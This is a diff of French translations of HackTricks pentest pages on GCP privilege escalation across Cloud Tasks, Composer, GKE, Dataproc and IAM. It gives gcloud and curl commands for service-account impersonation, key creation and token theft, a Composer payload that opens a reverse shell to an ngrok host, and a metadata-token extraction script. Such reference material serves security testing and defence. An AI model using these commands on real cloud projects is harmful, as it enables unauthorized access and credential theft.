- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+17
-5
@@ -6,7 +6,9 @@
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Un attaquant disposant de ces autorisations peut **imiter d'autres comptes de service** en créant des tâches qui s'exécutent avec l'identité du compte de service spécifié. Cela permet d'envoyer des **requêtes HTTP authentifiées aux services Cloud Run ou Cloud Functions protégés par IAM**.
|
||||
Un attaquant disposant de ces permissions peut **usurper d'autres comptes de service** en créant des tâches qui s'exécutent avec l'identité du compte de service spécifié. Cela permet d'envoyer des **requêtes HTTP authentifiées vers des services Cloud Run ou Cloud Functions protégés par IAM**.
|
||||
|
||||
<details><summary>Créer une Cloud Task avec usurpation d'un compte de service</summary>
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
Un attaquant disposant de ces autorisations peut **exécuter des tâches planifiées existantes** sans avoir les autorisations sur le compte de service associé à la tâche. Cela permet d'exécuter des tâches qui ont été précédemment créées avec des comptes de service à privilèges plus élevés.
|
||||
Un attaquant disposant de ces permissions peut **exécuter des tâches programmées existantes** sans avoir de permissions sur le compte de service associé à la tâche. Cela permet d'exécuter des tâches qui ont été précédemment créées avec des comptes de service à privilèges plus élevés.
|
||||
|
||||
<details><summary>Exécuter une Cloud Task existante sans la permission actAs</summary>
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
Le principal exécutant cette commande **n'a pas besoin de la permission `iam.serviceAccounts.actAs`** sur le compte de service de la tâche. Cependant, cela ne permet que d'exécuter des tâches existantes - cela ne donne pas la capacité de créer ou de modifier des tâches.
|
||||
</details>
|
||||
|
||||
Le principal exécutant cette commande **n'a pas besoin de la permission `iam.serviceAccounts.actAs`** sur le compte de service de la tâche. Cependant, cela ne permet d'exécuter que des tâches existantes - cela ne donne pas la possibilité de créer ou modifier des tâches.
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
Un attaquant avec cette permission peut **s'accorder ou accorder à d'autres principaux des rôles Cloud Tasks** sur des files d'attente spécifiques, ce qui peut potentiellement conduire à `roles/cloudtasks.admin` qui inclut la capacité de créer et d'exécuter des tâches.
|
||||
Un attaquant disposant de cette permission peut **s'octroyer ou accorder à d'autres principals des rôles Cloud Tasks** sur des queues spécifiques, pouvant potentiellement escalader vers `roles/cloudtasks.admin` qui inclut la capacité de créer et d'exécuter des tâches.
|
||||
|
||||
<details><summary>Accorder le rôle Cloud Tasks admin sur une queue</summary>
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
@@ -36,7 +46,9 @@ gcloud tasks queues add-iam-policy-binding \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
Cela permet à l'attaquant d'accorder des autorisations d'administrateur Cloud Tasks complètes sur la file d'attente à tout compte de service qu'il contrôle.
|
||||
</details>
|
||||
|
||||
Cela permet à l'attaquant d'accorder à tout compte de service qu'il contrôle des autorisations d'administrateur Cloud Tasks complètes sur la file d'attente.
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
+35
-15
@@ -4,7 +4,7 @@
|
||||
|
||||
## composer
|
||||
|
||||
Plus d'infos dans :
|
||||
Plus d'informations dans :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-composer-enum.md
|
||||
@@ -12,18 +12,24 @@ Plus d'infos dans :
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
Il est possible de **lier n'importe quel compte de service** au nouvel environnement composer créé avec cette permission. Plus tard, vous pourriez exécuter du code à l'intérieur de composer pour voler le jeton du compte de service.
|
||||
Il est possible d'**attacher n'importe quel service account** au nouvel environment composer créé avec cette permission. Ensuite, vous pourrez exécuter du code à l'intérieur de composer pour voler le token du service account.
|
||||
|
||||
<details><summary>Créer un environment Composer avec un service account attaché</summary>
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
Plus d'infos sur l'exploitation [**ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
</details>
|
||||
|
||||
Plus d'informations sur l'exploitation [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
Il est possible de mettre à jour l'environnement composer, par exemple, en modifiant les variables d'environnement :
|
||||
Il est possible de mettre à jour l'environnement composer, par exemple en modifiant les variables d'environnement :
|
||||
|
||||
<details><summary>Mettre à jour les variables d'environnement Composer pour l'exécution de code</summary>
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
TODO : Obtenir RCE en ajoutant de nouveaux paquets pypi à l'environnement
|
||||
</details>
|
||||
|
||||
### Télécharger les Dags
|
||||
TODO : Obtenir une RCE en ajoutant de nouveaux packages pypi à l'environnement
|
||||
|
||||
### Télécharger Dags
|
||||
|
||||
Vérifiez le code source des dags en cours d'exécution :
|
||||
|
||||
<details><summary>Exporter et télécharger les DAGs depuis l'environnement Composer</summary>
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
</details>
|
||||
|
||||
### Importer des Dags
|
||||
|
||||
Ajoutez le code DAG python dans un fichier et importez-le en exécutant :
|
||||
Ajoutez le code python du DAG dans un fichier et importez-le en exécutant :
|
||||
|
||||
<details><summary>Importer un DAG malveillant dans l'environnement Composer</summary>
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
DAG de shell invers :
|
||||
```python:reverse_shell.py
|
||||
</details>
|
||||
|
||||
DAG de reverse shell :
|
||||
|
||||
<details><summary>Code Python DAG pour reverse shell</summary>
|
||||
```python
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash_operator import BashOperator
|
||||
@@ -94,22 +112,24 @@ depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
</details>
|
||||
|
||||
### Accès en écriture au bucket Composer
|
||||
|
||||
Tous les composants d'un environnement composer (DAGs, plugins et données) sont stockés dans un bucket GCP. Si l'attaquant a des permissions de lecture et d'écriture sur celui-ci, il pourrait surveiller le bucket et **chaque fois qu'un DAG est créé ou mis à jour, soumettre une version compromise** afin que l'environnement composer récupère la version compromise depuis le stockage.
|
||||
Tous les composants d'un environnement Composer (DAGs, plugins et données) sont stockés dans un bucket GCP. Si un attaquant dispose des permissions de lecture et d'écriture sur celui-ci, il peut surveiller le bucket et **lorsqu'un DAG est créé ou mis à jour, soumettre une version backdoored** afin que l'environnement Composer récupère depuis le stockage la version backdoored.
|
||||
|
||||
Obtenez plus d'infos sur cette attaque dans :
|
||||
Obtenez plus d'informations sur cette attaque dans :
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Importer des Plugins
|
||||
### Importer des plugins
|
||||
|
||||
TODO: Vérifier ce qui est possible de compromettre en téléchargeant des plugins
|
||||
TODO: Vérifier ce qu'il est possible de compromettre en téléversant des plugins
|
||||
|
||||
### Importer des Données
|
||||
### Importer des données
|
||||
|
||||
TODO: Vérifier ce qui est possible de compromettre en téléchargeant des données
|
||||
TODO: Vérifier ce qu'il est possible de compromettre en téléversant des données
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+25
-17
@@ -6,16 +6,22 @@
|
||||
|
||||
### `container.clusters.get`
|
||||
|
||||
Cette permission permet de **rassembler des identifiants pour le cluster Kubernetes** en utilisant quelque chose comme :
|
||||
Cette permission permet de **récupérer les identifiants du cluster Kubernetes** en utilisant quelque chose comme :
|
||||
|
||||
<details><summary>Obtenir les identifiants du cluster Kubernetes</summary>
|
||||
```bash
|
||||
gcloud container clusters get-credentials <cluster_name> --zone <zone>
|
||||
```
|
||||
Sans autorisations supplémentaires, les identifiants sont assez basiques car vous pouvez **simplement lister certaines ressources**, mais ils sont utiles pour trouver des erreurs de configuration dans l'environnement.
|
||||
</details>
|
||||
|
||||
Sans permissions supplémentaires, les identifiants sont assez basiques car vous pouvez **simplement lister certaines ressources**, mais ils sont utiles pour trouver des mauvaises configurations dans l'environnement.
|
||||
|
||||
> [!NOTE]
|
||||
> Notez que **les clusters kubernetes peuvent être configurés pour être privés**, ce qui empêchera l'accès au serveur Kube-API depuis Internet.
|
||||
> Notez que **kubernetes clusters peuvent être configurés en privé**, ce qui empêchera l'accès au serveur Kube-API depuis Internet.
|
||||
|
||||
Si vous n'avez pas cette autorisation, vous pouvez toujours accéder au cluster, mais vous devez **créer votre propre fichier de configuration kubectl** avec les informations des clusters. Un nouveau généré ressemble à ceci :
|
||||
Si vous n'avez pas cette autorisation, vous pouvez quand même accéder au cluster, mais vous devez **créer votre propre fichier de configuration kubectl** avec les informations du cluster. Un nouveau fichier généré ressemble à ceci :
|
||||
|
||||
<details><summary>Exemple de fichier de configuration kubectl pour un cluster GKE</summary>
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
clusters:
|
||||
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
```
|
||||
</details>
|
||||
|
||||
### `container.roles.escalate` | `container.clusterRoles.escalate`
|
||||
|
||||
**Kubernetes** par défaut **empêche** les principaux de pouvoir **créer** ou **mettre à jour** des **Roles** et **ClusterRoles** avec **plus de permissions** que celles que le principal possède. Cependant, un principal **GCP** avec ces permissions sera **capable de créer/mettre à jour des Roles/ClusterRoles avec plus de permissions** que celles qu'il détenait, contournant ainsi efficacement la protection de Kubernetes contre ce comportement.
|
||||
Kubernetes empêche par défaut les principals d'être capables de créer ou de mettre à jour des Roles et ClusterRoles avec plus de permissions que celles que le principal possède. Cependant, un principal GCP disposant de ces permissions pourra créer/mettre à jour des Roles/ClusterRoles avec plus de permissions que celles qu'il détenait, contournant ainsi la protection de Kubernetes contre ce comportement.
|
||||
|
||||
**`container.roles.create`** et/ou **`container.roles.update`** OU **`container.clusterRoles.create`** et/ou **`container.clusterRoles.update`** respectivement sont **également** **nécessaires** pour effectuer ces actions d'escalade de privilèges.
|
||||
**`container.roles.create`** et/ou **`container.roles.update`** OU **`container.clusterRoles.create`** et/ou **`container.clusterRoles.update`** sont également **nécessaires** pour effectuer ces actions d'escalade de privilèges.
|
||||
|
||||
### `container.roles.bind` | `container.clusterRoles.bind`
|
||||
|
||||
**Kubernetes** par défaut **empêche** les principaux de pouvoir **créer** ou **mettre à jour** des **RoleBindings** et **ClusterRoleBindings** pour donner **plus de permissions** que celles que le principal possède. Cependant, un principal **GCP** avec ces permissions sera **capable de créer/mettre à jour des RoleBindings/ClusterRoleBindings avec plus de permissions** que celles qu'il a, contournant ainsi efficacement la protection de Kubernetes contre ce comportement.
|
||||
Kubernetes empêche par défaut les principals d'être capables de créer ou de mettre à jour des RoleBindings et ClusterRoleBindings pour accorder plus de permissions que celles que le principal possède. Cependant, un principal GCP disposant de ces permissions pourra créer/mettre à jour des RolesBindings/ClusterRolesBindings avec plus de permissions que celles qu'il possède, contournant ainsi la protection de Kubernetes contre ce comportement.
|
||||
|
||||
**`container.roleBindings.create`** et/ou **`container.roleBindings.update`** OU **`container.clusterRoleBindings.create`** et/ou **`container.clusterRoleBindings.update`** respectivement sont également **nécessaires** pour effectuer ces actions d'escalade de privilèges.
|
||||
**`container.roleBindings.create`** et/ou **`container.roleBindings.update`** OU **`container.clusterRoleBindings.create`** et/ou **`container.clusterRoleBindings.update`** sont également nécessaires pour effectuer ces actions d'escalade de privilèges.
|
||||
|
||||
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
|
||||
|
||||
Toutes ces permissions vous permettront de **créer ou mettre à jour une ressource** où vous pouvez **définir** un **pod**. En définissant un pod, vous pouvez **spécifier le SA** qui va être **attaché** et l'**image** qui va être **exécutée**, vous permettant ainsi d'exécuter une image qui va **exfiltrer le token du SA vers votre serveur**, vous permettant d'escalader vers n'importe quel compte de service.\
|
||||
Pour plus d'informations, consultez :
|
||||
Toutes ces permissions vont vous permettre de créer ou de mettre à jour une ressource où vous pouvez définir un pod. En définissant un pod vous pouvez spécifier le SA qui sera attaché et l'image qui sera exécutée ; vous pouvez donc lancer une image qui exfiltrera le token du SA vers votre serveur, vous permettant d'escalader vers n'importe quel service account.\
|
||||
Pour plus d'informations check:
|
||||
|
||||
Étant dans un environnement **GCP**, vous pourrez également **obtenir le SA du nodepool GCP** à partir du service **metadata** et **escalader les privilèges dans GCP** (par défaut, le SA de calcul est utilisé).
|
||||
Puisque nous sommes dans un environnement GCP, vous pourrez également récupérer le nodepool GCP SA depuis le metadata service et escalader les privilèges dans GCP (par défaut le compute SA est utilisé).
|
||||
|
||||
### `container.secrets.get` | `container.secrets.list`
|
||||
|
||||
Comme [**expliqué sur cette page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets) avec ces permissions, vous pouvez **lire** les **tokens** de tous les **SAs de kubernetes**, vous permettant ainsi de vous y escalader.
|
||||
As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)with these permissions you can **read** the **tokens** of all the **SAs of kubernetes**, so you can escalate to them.
|
||||
|
||||
### `container.pods.exec`
|
||||
|
||||
Avec cette permission, vous pourrez **exec dans des pods**, ce qui vous donne **accès** à tous les **SAs Kubernetes exécutés dans des pods** pour escalader les privilèges au sein de K8s, mais vous pourrez également **voler** le **GCP Service Account** du **NodePool**, **escaladant les privilèges dans GCP**.
|
||||
Avec cette permission vous pourrez exec dans des pods, ce qui vous donne accès à tous les SAs Kubernetes s'exécutant dans des pods pour escalader les privilèges dans K8s ; vous pourrez aussi voler le Service Account GCP du NodePool, escaladant ainsi les privilèges dans GCP.
|
||||
|
||||
### `container.pods.portForward`
|
||||
|
||||
Comme **expliqué sur cette page**, avec ces permissions, vous pouvez **accéder aux services locaux** exécutés dans des **pods** qui pourraient vous permettre d'**escalader les privilèges dans Kubernetes** (et dans **GCP** si d'une manière ou d'une autre vous parvenez à communiquer avec le service metadata)**.**
|
||||
Comme **explained in this page**, avec ces permissions vous pouvez accéder à des services locaux s'exécutant dans des pods qui pourraient vous permettre d'escalader des privilèges dans Kubernetes (et dans GCP si d'une manière ou d'une autre vous parvenez à communiquer avec le metadata service)**.**
|
||||
|
||||
### `container.serviceAccounts.createToken`
|
||||
|
||||
En raison du **nom** de la **permission**, il **semble que cela vous permettra de générer des tokens des K8s Service Accounts**, vous permettant ainsi de **privesc à n'importe quel SA** à l'intérieur de Kubernetes. Cependant, je n'ai pas trouvé d'endpoint API à utiliser, donc faites-moi savoir si vous le trouvez.
|
||||
À cause du nom de la permission, on pourrait penser qu'elle permettra de générer des tokens des Service Accounts K8s, vous permettant donc d'escalader vers n'importe quel SA à l'intérieur de Kubernetes. Cependant, je n'ai trouvé aucun endpoint API pour l'utiliser — faites-moi savoir si vous en trouvez un.
|
||||
|
||||
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
|
||||
|
||||
Ces permissions pourraient vous permettre d'escalader les privilèges dans Kubernetes, mais plus probablement, vous pourriez les abuser pour **persister dans le cluster**.\
|
||||
Pour plus d'informations, [**suivez ce lien**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
|
||||
Ces permissions pourraient vous permettre d'escalader des privilèges dans Kubernetes, mais plus probablement, vous pourriez les abuser pour persister dans le cluster.\
|
||||
For more information [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,17 +10,19 @@
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
Je n'ai pas pu obtenir un shell inversé en utilisant cette méthode, cependant il est possible de leak le token SA depuis le point de terminaison des métadonnées en utilisant la méthode décrite ci-dessous.
|
||||
Je n'ai pas pu obtenir de reverse shell avec cette méthode, cependant il est possible de leak le SA token depuis le metadata endpoint en utilisant la méthode décrite ci-dessous.
|
||||
|
||||
#### Étapes pour exploiter
|
||||
#### Steps to exploit
|
||||
|
||||
- Placez le script de travail sur le GCP Bucket
|
||||
- Placez le script du job sur le GCP Bucket
|
||||
|
||||
- Soumettez un travail à un cluster Dataproc.
|
||||
- Soumettez un job à un Dataproc cluster.
|
||||
|
||||
- Utilisez le travail pour accéder au serveur de métadonnées.
|
||||
- Utilisez le job pour accéder au metadata server.
|
||||
|
||||
- Leak le token du compte de service utilisé par le cluster.
|
||||
- Leak le service account token utilisé par le cluster.
|
||||
|
||||
<details><summary>Script Python pour récupérer le SA token depuis le metadata server</summary>
|
||||
```python
|
||||
import requests
|
||||
|
||||
@@ -41,7 +43,9 @@ return None
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
</details>
|
||||
|
||||
<details><summary>Soumettre un job malveillant au cluster Dataproc</summary>
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Trouvez plus d'informations sur IAM dans :
|
||||
Plus d'informations sur IAM dans :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,40 +12,54 @@ Trouvez plus d'informations sur IAM dans :
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Un attaquant avec les permissions mentionnées pourra mettre à jour un rôle qui vous est attribué et vous donner des permissions supplémentaires sur d'autres ressources comme :
|
||||
Un attaquant disposant des autorisations mentionnées pourra mettre à jour un rôle qui vous est assigné et vous accorder des autorisations supplémentaires sur d'autres ressources, par exemple :
|
||||
|
||||
<details><summary>Mettre à jour un rôle IAM pour ajouter des autorisations</summary>
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
Vous pouvez trouver un script pour automatiser la **création, l'exploitation et le nettoyage d'un environnement vulnérable ici** et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la **creation, exploit and cleaning of a vuln environment here** et un script python pour abuser de ce privilège [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Pour plus d'informations, consultez la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Un attaquant avec les permissions mentionnées sera capable de **demander un jeton d'accès qui appartient à un compte de service**, il est donc possible de demander un jeton d'accès d'un compte de service avec plus de privilèges que les nôtres.
|
||||
Un attaquant disposant des permissions mentionnées pourra **request an access token that belongs to a Service Account**, il est donc possible de demander un access token d'un Service Account ayant plus de privilèges que le nôtre.
|
||||
|
||||
<details><summary>Usurper un Service Account pour obtenir un access token</summary>
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
Vous pouvez trouver un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) et un script python pour abuser de ce privilège [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Pour plus d'informations, consultez la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Un attaquant avec les permissions mentionnées sera en mesure de **créer une clé gérée par l'utilisateur pour un compte de service**, ce qui nous permettra d'accéder à GCP en tant que ce compte de service.
|
||||
Un attaquant disposant des permissions mentionnées pourra **create a user-managed key for a Service Account**, ce qui nous permettra d'accéder à GCP en tant que ce Service Account.
|
||||
|
||||
<details><summary>Create service account key and authenticate</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
Vous pouvez trouver un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Notez que **`iam.serviceAccountKeys.update` ne fonctionnera pas pour modifier la clé** d'un SA car pour cela, les permissions `iam.serviceAccountKeys.create` sont également nécessaires.
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploitation et nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Notez que **`iam.serviceAccountKeys.update` won't work to modify the key** d'un SA car pour cela la permission `iam.serviceAccountKeys.create` est également nécessaire.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Si vous avez la permission **`iam.serviceAccounts.implicitDelegation`** sur un compte de service qui a la permission **`iam.serviceAccounts.getAccessToken`** sur un troisième compte de service, alors vous pouvez utiliser implicitDelegation pour **créer un jeton pour ce troisième compte de service**. Voici un diagramme pour aider à expliquer.
|
||||
Si vous avez la permission **`iam.serviceAccounts.implicitDelegation`** sur un Service Account qui possède la permission **`iam.serviceAccounts.getAccessToken`** sur un troisième Service Account, alors vous pouvez utiliser implicitDelegation pour **créer un token pour ce troisième Service Account**. Voici un diagramme pour expliquer.
|
||||
|
||||

|
||||
|
||||
Notez qu' selon la [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), la délégation de `gcloud` ne fonctionne que pour générer un jeton en utilisant la méthode [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Voici donc comment obtenir un jeton en utilisant l'API directement :
|
||||
Notez que, d'après la [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), la délégation de `gcloud` ne fonctionne que pour générer un token en utilisant la méthode [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Voici donc comment obtenir un token en utilisant l'API directement :
|
||||
|
||||
<details><summary>Générer un jeton d'accès avec délégation en utilisant l'API</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -56,23 +70,27 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
Vous pouvez trouver un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploit et nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Un attaquant avec les permissions mentionnées pourra **signer des charges utiles arbitraires dans GCP**. Il sera donc possible de **créer un JWT non signé du SA et de l'envoyer en tant que blob pour obtenir le JWT signé** par le SA que nous ciblons. Pour plus d'informations [**lisez ceci**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
Un attaquant disposant des permissions mentionnées pourra **signer des payloads arbitraires dans GCP**. Il sera donc possible de **créer un JWT non signé du SA puis de l'envoyer en tant que blob pour que le JWT soit signé** par le SA que nous ciblons. Pour plus d'informations [**lisez ceci**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) et [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploit et nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) et un script python pour abuser de ce privilège [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) et [**ici**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
